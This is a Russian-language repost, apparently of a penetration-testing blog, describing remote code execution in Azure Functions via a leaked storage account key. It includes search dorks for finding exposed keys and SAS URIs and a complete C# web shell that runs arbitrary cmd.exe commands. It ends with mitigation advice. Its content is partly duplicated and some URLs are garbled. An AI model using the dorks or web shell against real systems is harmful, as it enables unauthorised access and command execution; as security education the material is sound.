В этом блоге
Учетная запись хранения Azure использует учетные данные, содержащие имя учетной записи и ключ. Ключ генерируется автоматически при создании учетной записи хранения и служит паролем для подключения к хранилищу Azure. Ключи доступа к хранилищу по умолчанию имеют все разрешения и аналогичны корневому паролю вашей учетной записи хранилища.
Учетная запись хранения Azure содержит BLOB-объекты, очереди, таблицы и файлы (общая папка или диск) в качестве типов хранения, к которым можно получить доступ через API.
Кроме того, Azure предоставляет URI подписи общего доступа (SAS) для предоставления детального доступа к объектам хранения. SAS URI, можно управлять тем, какие данные выставлять, и какие разрешения наложить на эти объекты (SignedPermission) и как долго действителен SAS URI (SignedExpiry) с другими параметрами, как указано ниже:
https:. // <AccountName> <сервис> .core.windows.net /? sv = 2018-03-28 & ss = bfqt & srt = sco & sp = rwdlacup & se = 2019-09-30T17: 13: 23Z & st = 2019-09-30T09: 13: 23Z & sip = 88.208.222.83 & spr = https & sig = LCoN4d % 2B% 2BZSzPtPO71fMS34k% 2FhLf2Wjen9pzhlAGFfPU% 3D
Более подробная информация:
Поиск ключей доступа и SAS URI
Ключи доступа и SAS URI имеют решающее значение, и их необходимо защищать от несанкционированного раскрытия. Однако есть случаи, когда эта информация доступна в открытых источниках. Мы создали список параметров, которые могут быть полезны для поиска имени учетной записи, ключей и URI SAS.
Строка подключения (имя учетной записи и ключ)
Хороший многосайтовый интерфейс поиска
Подпись общего доступа - SAS URI
Github
Build software better, together
Google
Кроме того, эти данные также можно найти в этих файлах
Бэкдор Развертывание функции Azure
В одном из наших недавних заданий на этапе оценки OSINT мы определили строку подключения к хранилищу Azure (Azure AccountName и AccountKey) в общедоступном хранилище Github с утечкой подключения к хранилищу Azure в файле local.settings.json, как показано на рисунке ниже:
Следующим шагом было подтверждение ключей и определение доступа.
Для этого мы использовали обозреватель хранилища Azure (
Удивительно, но ключ работал, и он имел доступ к BLOB-объектам, файлам, очередям и таблицам Azure в качестве пользователя root для учетной записи хранения.
Кроме того, мы исследовали объекты хранения, и каталог File Shares содержал следующую структуру, которая привлекла наше внимание.
Все идет нормально. Давайте рассмотрим дальнейшие возможности.
Давайте загрузим контейнер BLOB (azure-webjobs-secrets) с помощью команды Azure CLI.
Мы обнаружили URL-адрес триггера HTTP в файле «host.json» из контейнера azure-webjobs-secrets. URL-адрес конечной точки HTTP был активен, и мы могли получить к нему доступ, поскольку уровень авторизации был установлен на Anonymous.
Теперь, когда у нас были разрешения на чтение / запись объектов, стало возможным перезаписать существующие функции. Однако, поскольку это был производственный экземпляр, мы решили не перезаписывать и не заменять существующие, а вместо этого мы выбрали неразрушающий подход, загрузив простой HTTP-триггер hello world в подпапку, как показано ниже.
Удивительно, но недавно загруженная функция была немедленно запущена и запущена.
Это подтвердило, что код и конфигурация функции Azure получены из общего файлового ресурса.
Теперь давайте попробуем выполнить выполнение кода. Чтобы добиться выполнения кода, мы обновили «run.csx» кодом веб-оболочки и загрузили его обратно в HellowWorldTrigger.
Веб-оболочка (run.csx)
Теперь мы можем получить доступ к веб-оболочке и выполнить произвольные команды в контейнере Azure.
Таким образом, используя простые общедоступные сведения, мы смогли добиться выполнения кода в среде функции Azure. Как только мы изучим потенциал ущерба, давайте посмотрим, как мы можем защитить себя от таких сценариев.
Обеспечение доступа к учетным записям хранения
Источник:
Ссылка скрыта от гостей
, наш ведущий преподаватель для учебного класса «
Ссылка скрыта от гостей
», расскажет о практическом примере удаленного выполнения кода через хранилище Azure, когда развертывание функции Azure настроено для запуска из учетной записи хранения с использованием параметра приложения WEBSITE_CONTENTSHARE.- Доступ к утечке ключа доступа к учетной записи хранения
- Подключитесь к учетной записи хранения и загрузите BLOB-объекты, файлы и т. Д.
- Файлы содержат код для функции Azure
- Создать новый HTTP Trigger с веб-оболочкой
- Загрузите вредоносный файл в файлы Azure в качестве нового триггера и выполните команды ОС.
Учетная запись хранения Azure использует учетные данные, содержащие имя учетной записи и ключ. Ключ генерируется автоматически при создании учетной записи хранения и служит паролем для подключения к хранилищу Azure. Ключи доступа к хранилищу по умолчанию имеют все разрешения и аналогичны корневому паролю вашей учетной записи хранилища.
Учетная запись хранения Azure содержит BLOB-объекты, очереди, таблицы и файлы (общая папка или диск) в качестве типов хранения, к которым можно получить доступ через API.
Кроме того, Azure предоставляет URI подписи общего доступа (SAS) для предоставления детального доступа к объектам хранения. SAS URI, можно управлять тем, какие данные выставлять, и какие разрешения наложить на эти объекты (SignedPermission) и как долго действителен SAS URI (SignedExpiry) с другими параметрами, как указано ниже:
https:. // <AccountName> <сервис> .core.windows.net /? sv = 2018-03-28 & ss = bfqt & srt = sco & sp = rwdlacup & se = 2019-09-30T17: 13: 23Z & st = 2019-09-30T09: 13: 23Z & sip = 88.208.222.83 & spr = https & sig = LCoN4d % 2B% 2BZSzPtPO71fMS34k% 2FhLf2Wjen9pzhlAGFfPU% 3D
Более подробная информация:
Ссылка скрыта от гостей
Поиск ключей доступа и SAS URI
Ключи доступа и SAS URI имеют решающее значение, и их необходимо защищать от несанкционированного раскрытия. Однако есть случаи, когда эта информация доступна в открытых источниках. Мы создали список параметров, которые могут быть полезны для поиска имени учетной записи, ключей и URI SAS.
Строка подключения (имя учетной записи и ключ)
Build software better, together
GitHub is where people build software. More than 100 million people use GitHub to discover, fork, and contribute to over 420 million projects.
github.com
Build software better, together
GitHub is where people build software. More than 100 million people use GitHub to discover, fork, and contribute to over 420 million projects.
github.com
Build software better, together
GitHub is where people build software. More than 100 million people use GitHub to discover, fork, and contribute to over 420 million projects.
github.com
Хороший многосайтовый интерфейс поиска
Ссылка скрыта от гостей
который также может быть полезен для поиска ключей доступа и SAS URI. Подпись общего доступа - SAS URI
Github
Build software better, together
Ссылка скрыта от гостей
Ссылка скрыта от гостей
. { customdomain } .com% 20inurl: sigКроме того, эти данные также можно найти в этих файлах
- web.config
- local.settings.json
- app.config
Ссылка скрыта от гостей
?? св = 2017-04-17 & сс = bfqt & SRT = & SCO зр = rwdlacup & й = 2019-09-30T19% 3A43% 3A56Z & SE = 2039-10-01 T19% 3A43% 3A00Z & сиг = WRo1i2cchlfVBCa% 2FfwCqx3i% 2BO64HSjbl% 2F ... ..Бэкдор Развертывание функции Azure
В одном из наших недавних заданий на этапе оценки OSINT мы определили строку подключения к хранилищу Azure (Azure AccountName и AccountKey) в общедоступном хранилище Github с утечкой подключения к хранилищу Azure в файле local.settings.json, как показано на рисунке ниже:
Следующим шагом было подтверждение ключей и определение доступа.
Для этого мы использовали обозреватель хранилища Azure (
Ссылка скрыта от гостей
) для подключения к учетной записи хранилища с помощью строки подключения.Удивительно, но ключ работал, и он имел доступ к BLOB-объектам, файлам, очередям и таблицам Azure в качестве пользователя root для учетной записи хранения.
Кроме того, мы исследовали объекты хранения, и каталог File Shares содержал следующую структуру, которая привлекла наше внимание.
- ASP.NET
- данные
- Лог-файлы
- корень
- сайт
Все идет нормально. Давайте рассмотрим дальнейшие возможности.
Давайте загрузим контейнер BLOB (azure-webjobs-secrets) с помощью команды Azure CLI.
Мы обнаружили URL-адрес триггера HTTP в файле «host.json» из контейнера azure-webjobs-secrets. URL-адрес конечной точки HTTP был активен, и мы могли получить к нему доступ, поскольку уровень авторизации был установлен на Anonymous.
Теперь, когда у нас были разрешения на чтение / запись объектов, стало возможным перезаписать существующие функции. Однако, поскольку это был производственный экземпляр, мы решили не перезаписывать и не заменять существующие, а вместо этого мы выбрали неразрушающий подход, загрузив простой HTTP-триггер hello world в подпапку, как показано ниже.
Удивительно, но недавно загруженная функция была немедленно запущена и запущена.
Это подтвердило, что код и конфигурация функции Azure получены из общего файлового ресурса.
Теперь давайте попробуем выполнить выполнение кода. Чтобы добиться выполнения кода, мы обновили «run.csx» кодом веб-оболочки и загрузили его обратно в HellowWorldTrigger.
Веб-оболочка (run.csx)
Код:
#r "Newtonsoft.Json"
using System.Net;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;
using System;
using System.IO;
using System.Diagnostics;
public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
{
log.LogInformation("C# HTTP trigger function processed a request.");
string cmd = req.Query["cmd"];
string requestBody = await new StreamReader(req.Body).ReadToEndAsync();
dynamic data = JsonConvert.DeserializeObject(requestBody);
cmd = cmd ?? data?.cmd;
return cmd != null
? (ActionResult)new OkObjectResult(ExcuteCmd(cmd))
: new BadRequestObjectResult("Please pass a name on the query string or in the request body");
}
public static string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
Теперь мы можем получить доступ к веб-оболочке и выполнить произвольные команды в контейнере Azure.
Таким образом, используя простые общедоступные сведения, мы смогли добиться выполнения кода в среде функции Azure. Как только мы изучим потенциал ущерба, давайте посмотрим, как мы можем защитить себя от таких сценариев.
Обеспечение доступа к учетным записям хранения
- Регенерация ключей учетной записи хранения на регулярной основе.
- Подписи общего доступа и политики хранимого доступа для защиты ваших данных.
- Предоставьте доступ к контейнерам и BLOB-объектам для более детального контроля доступа к вашим BLOB-объектам через подпись общего доступа (SAS).
- Ограничить доступ к определенному IP-адресу (или диапазону IP-адресов)
- Прикрепить срок действия к SAS URI
Ссылка скрыта от гостей
Источник:
Ссылка скрыта от гостей